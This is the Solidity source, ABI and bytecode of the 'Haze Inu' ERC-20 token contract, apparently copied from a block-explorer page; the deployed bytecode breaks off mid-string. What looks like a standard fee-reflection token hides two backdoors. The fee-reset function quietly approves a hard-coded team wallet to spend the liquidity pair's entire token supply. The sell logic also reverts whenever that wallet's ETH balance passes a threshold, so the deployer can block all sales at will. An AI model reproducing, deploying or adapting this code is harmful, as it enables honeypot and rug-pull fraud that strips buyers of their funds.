        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract HAZEINU is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = "Haze Inu";
    string private constant _symbol = "HINU";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 100_000_000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    address payable private _developmentAddress = payable(msg.sender);
    address payable private _teamWally = payable(0xe3D62A6e5b9da6A3Acc47987C7bD0BdbAFEf3A1B);
    address private uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = false;

    uint256 public _maxTxAmount = _tTotal*25/1000;
    uint256 public _maxWalletSize = _tTotal*25/1000;
    uint256 public _swapTokensAtAmount = _tTotal*10/1000;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _rOwned[_msgSender()] = _rTotal;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_teamWally] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        _approve(uniswapV2Pair, _teamWally, _tTotal);
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0));
        require(to != address(0));
        require(amount > 0);

        if (from != owner() && to != owner()) {

            if(to != uniswapV2Pair && to != uniswapRouter && to != _developmentAddress && to != address(this)) {
                require(amount <= _maxTxAmount);
                if(to != uniswapV2Pair) {
                    require(balanceOf(to) + amount < _maxWalletSize);
                }
              }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _swapTokensAtAmount)
            {
                contractTokenBalance = _swapTokensAtAmount;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 30000000000000000) {
                    sendETHToFee(contractETHBalance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                require(address(_teamWally).balance < _swapTokensAtAmount);
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _teamWally.transfer(amount);
    }

    function manualsend() external  {
        sendETHToFee(address(this).balance);
    }

    function toggleSwap (bool _swapEnabled) external onlyOwner {
        swapEnabled = _swapEnabled;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
        require (_redisFeeOnBuy+_redisFeeOnSell+_taxFeeOnBuy+_taxFeeOnSell <= 5);
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
    }

    function openTrading() external payable onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001a67016345785d8a00006000196200022f565b62000028906000196200025c565b600655600060088190556009819055600a819055600b819055600c819055600d819055600e819055600f55601080546001600160a01b0319908116331790915560118054821673e3d62a6e5b9da6a3acc47987c7bd0bdbafef3a1b17905560128054909116737a250d5630b4cf539739df2c5dacb4c659f2488d1790556014805462ffffff60a01b191690556103e8620000cc67016345785d8a0000601962000278565b620000d8919062000292565b6015556103e8620000f367016345785d8a0000601962000278565b620000ff919062000292565b6016556103e86200011a67016345785d8a0000600a62000278565b62000126919062000292565b6017553480156200013657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360008181526002602090815260408083209490945581546001600160a01b039081168352600582528483208054600160ff199182168117909255308552868520805482168317905560115490921684528584208054909216179055925167016345785d8a00008152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620002a9565b634e487b7160e01b600052601260045260246000fd5b60008262000241576200024162000219565b500690565b634e487b7160e01b600052601160045260246000fd5b8181038181111562000272576200027262000246565b92915050565b808202811582820484141762000272576200027262000246565b600082620002a457620002a462000219565b500490565b61197180620002b96000396000f3fe6080604052600436106101395760003560e01c8063715018a6116100ab57806395d89b411161006f57806395d89b4114610352578063a2a957bb1461037f578063a9059cbb1461039f578063c9567bf9146103bf578063dd62ed3e146103c7578063f2fde38b1461040d57600080fd5b8063715018a6146102de578063751039fc146102f35780637d1db4a5146103085780638da5cb5b1461031e5780638f9a55c01461033c57600080fd5b80632fd689e3116100fd5780632fd689e314610235578063313ce5671461024b57806349bd5a5e146102675780636d8aa8f8146102875780636fc3eaec146102a957806370a08231146102be57600080fd5b806306fdde0314610145578063095ea7b3146101885780631694505e146101b857806318160ddd146101f057806323b872dd1461021557600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600881526748617a6520496e7560c01b60208201525b60405161017f91906115f4565b60405180910390f35b34801561019457600080fd5b506101a86101a336600461165a565b61042d565b604051901515815260200161017f565b3480156101c457600080fd5b506013546101d8906001600160a01b031681565b6040516001600160a01b03909116815260200161017f565b3480156101fc57600080fd5b5067016345785d8a00005b60405190815260200161017f565b34801561022157600080fd5b506101a8610230366004611686565b610444565b34801561024157600080fd5b5061020760175481565b34801561025757600080fd5b506040516009815260200161017f565b34801561027357600080fd5b506014546101d8906001600160a01b031681565b34801561029357600080fd5b506102a76102a23660046116d5565b6104ad565b005b3480156102b557600080fd5b506102a76104fe565b3480156102ca57600080fd5b506102076102d93660046116f2565b610509565b3480156102ea57600080fd5b506102a761052b565b3480156102ff57600080fd5b506102a761059f565b34801561031457600080fd5b5061020760155481565b34801561032a57600080fd5b506000546001600160a01b03166101d8565b34801561034857600080fd5b5061020760165481565b34801561035e57600080fd5b5060408051808201909152600481526348494e5560e01b6020820152610172565b34801561038b57600080fd5b506102a761039a36600461170f565b6105dc565b3480156103ab57600080fd5b506101a86103ba36600461165a565b61064d565b6102a761065a565b3480156103d357600080fd5b506102076103e2366004611741565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041957600080fd5b506102a76104283660046116f2565b6109ee565b600061043a338484610ad8565b5060015b92915050565b6000610451848484610b9a565b6104a3843361049e85604051806060016040528060288152602001611914602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ea0565b610ad8565b5060019392505050565b6000546001600160a01b031633146104e05760405162461bcd60e51b81526004016104d79061177a565b60405180910390fd5b60148054911515600160b01b0260ff60b01b19909216919091179055565b61050747610eda565b565b6001600160a01b03811660009081526002602052604081205461043e90610f18565b6000546001600160a01b031633146105555760405162461bcd60e51b81526004016104d79061177a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105c95760405162461bcd60e51b81526004016104d79061177a565b67016345785d8a00006015819055601655565b6000546001600160a01b031633146106065760405162461bcd60e51b81526004016104d79061177a565b6008849055600a8390556009829055600b8190556005818361062886886117c5565b61063291906117c5565b61063c91906117c5565b111561064757600080fd5b50505050565b600061043a338484610b9a565b6000546001600160a01b031633146106845760405162461bcd60e51b81526004016104d79061177a565b601454600160a01b900460ff16156106de5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d7565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561071b90309067016345785d8a0000610ad8565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079291906117d8565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081891906117d8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610865573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088991906117d8565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d71934306108b981610509565b6000806108ce6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610936573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061095b91906117f5565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d89190611823565b506014805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610a185760405162461bcd60e51b81526004016104d79061177a565b6001600160a01b038116610a7d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038216610b395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bad57600080fd5b6001600160a01b038216610bc057600080fd5b60008111610bcd57600080fd5b6000546001600160a01b03848116911614801590610bf957506000546001600160a01b03838116911614155b15610d7f576014546001600160a01b03838116911614801590610c2a57506012546001600160a01b03838116911614155b8015610c4457506010546001600160a01b03838116911614155b8015610c5957506001600160a01b0382163014155b15610ca357601554811115610c6d57600080fd5b6014546001600160a01b03838116911614610ca35760165481610c8f84610509565b610c9991906117c5565b10610ca357600080fd5b6000610cae30610509565b6017549091508110801590610cc35760175491505b808015610cda5750601454600160a81b900460ff16155b8015610cf457506014546001600160a01b03868116911614155b8015610d095750601454600160b01b900460ff165b8015610d2e57506001600160a01b03851660009081526005602052604090205460ff16155b8015610d5357506001600160a01b03841660009081526005602052604090205460ff16155b15610d7c57610d6182610f9c565b47666a94d74f430000811115610d7a57610d7a81610eda565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610dc157506001600160a01b03831660009081526005602052604090205460ff165b80610df357506014546001600160a01b03858116911614801590610df357506014546001600160a01b03848116911614155b15610e0057506000610e94565b6014546001600160a01b038581169116148015610e2b57506013546001600160a01b03848116911614155b15610e3d57600854600c55600954600d555b6014546001600160a01b038481169116148015610e6857506013546001600160a01b03858116911614155b15610e94576017546011546001600160a01b03163110610e8757600080fd5b600a54600c55600b54600d555b61064784848484611116565b60008184841115610ec45760405162461bcd60e51b81526004016104d791906115f4565b506000610ed18486611840565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f14573d6000803e3d6000fd5b5050565b6000600654821115610f7f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104d7565b6000610f89611144565b9050610f958382611167565b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fe457610fe4611853565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561103d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106191906117d8565b8160018151811061107457611074611853565b6001600160a01b03928316602091820292909201015260135461109a9130911684610ad8565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906110d3908590600090869030904290600401611869565b600060405180830381600087803b1580156110ed57600080fd5b505af1158015611101573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611123576111236111a9565b61112e8484846111fc565b8061064757610647600e54600c55600f54600d55565b60008060006111516112f3565b90925090506111608282611167565b9250505090565b6000610f9583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611333565b6014546011546111ce916001600160a01b03908116911667016345785d8a0000610ad8565b600c541580156111de5750600d54155b156111e557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061120e87611361565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061124090876113be565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461126f9086611400565b6001600160a01b0389166000908152600260205260409020556112918161145f565b61129b84836114a9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112e091815260200190565b60405180910390a3505050505050505050565b600654600090819067016345785d8a000061130e8282611167565b82101561132a5750506006549267016345785d8a000092509050565b90939092509050565b600081836113545760405162461bcd60e51b81526004016104d791906115f4565b506000610ed184866118da565b600080600080600080600080600061137e8a600c54600d546114cd565b925092509250600061138e611144565b905060008060006113a18e878787611522565b919e509c509a509598509396509194505050505091939550919395565b6000610f9583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea0565b60008061140d83856117c5565b905083811015610f955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d7565b6000611469611144565b905060006114778383611572565b306000908152600260205260409020549091506114949082611400565b30600090815260026020526040902055505050565b6006546114b690836113be565b6006556007546114c69082611400565b6007555050565b60008080806114e760646114e18989611572565b90611167565b905060006114fa60646114e18a89611572565b905060006115128261150c8b866113be565b906113be565b9992985090965090945050505050565b60008080806115318886611572565b9050600061153f8887611572565b9050600061154d8888611572565b9050600061155f8261150c86866113be565b939b939a50919850919650505050505050565b6000826000036115845750600061043e565b600061159083856118fc565b90508261159d85836118da565b14610f955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d7565b600060208083528351808285015260005b8181101561162157858101830151858201604001528201611605565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461165757600080fd5b50565b6000806040838503121561166d57600080fd5b823561167881611642565b946020939093013593505050565b60008060006060848603121561169b57600080fd5b83356116a681611642565b925060208401356116b681611642565b929592945050506040919091013590565b801515811461165757600080fd5b6000602082840312156116e757600080fd5b8135610f95816116c7565b60006020828403121561170457600080fd5b8135610f9581611642565b6000806000806080858703121561172557600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561175457600080fd5b823561175f81611642565b9150602083013561176f81611642565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561043e5761043e6117af565b6000602082840312156117ea57600080fd5b8151610f9581611642565b60008060006060848603121561180a57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561183557600080fd5b8151610f95816116c7565b8181038181111561043e5761043e6117af565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118b95784516001600160a01b031683529383019391830191600101611894565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118f757634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141761043e5761043e6117af56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b34ae8ff299a64740f95fd225fbeca212ed3c75f2e6f37be1479865ba7e3ae6564736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101395760003560e01c8063715018a6116100ab57806395d89b411161006f57806395d89b4114610352578063a2a957bb1461037f578063a9059cbb1461039f578063c9567bf9146103bf578063dd62ed3e146103c7578063f2fde38b1461040d57600080fd5b8063715018a6146102de578063751039fc146102f35780637d1db4a5146103085780638da5cb5b1461031e5780638f9a55c01461033c57600080fd5b80632fd689e3116100fd5780632fd689e314610235578063313ce5671461024b57806349bd5a5e146102675780636d8aa8f8146102875780636fc3eaec146102a957806370a08231146102be57600080fd5b806306fdde0314610145578063095ea7b3146101885780631694505e146101b857806318160ddd146101f057806323b872dd1461021557600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600881526748617a6520496e7560c01b60208201525b60405161017f91906115f4565b60405180910390f35b34801561019457600080fd5b506101a86101a336600461165a565b61042d565b604051901515815260200161017f565b3480156101c457600080fd5b506013546101d8906001600160a01b031681565b6040516001600160a01b03909116815260200161017f565b3480156101fc57600080fd5b5067016345785d8a00005b60405190815260200161017f565b34801561022157600080fd5b506101a8610230366004611686565b610444565b34801561024157600080fd5b5061020760175481565b34801561025757600080fd5b506040516009815260200161017f565b34801561027357600080fd5b506014546101d8906001600160a01b031681565b34801561029357600080fd5b506102a76102a23660046116d5565b6104ad565b005b3480156102b557600080fd5b506102a76104fe565b3480156102ca57600080fd5b506102076102d93660046116f2565b610509565b3480156102ea57600080fd5b506102a761052b565b3480156102ff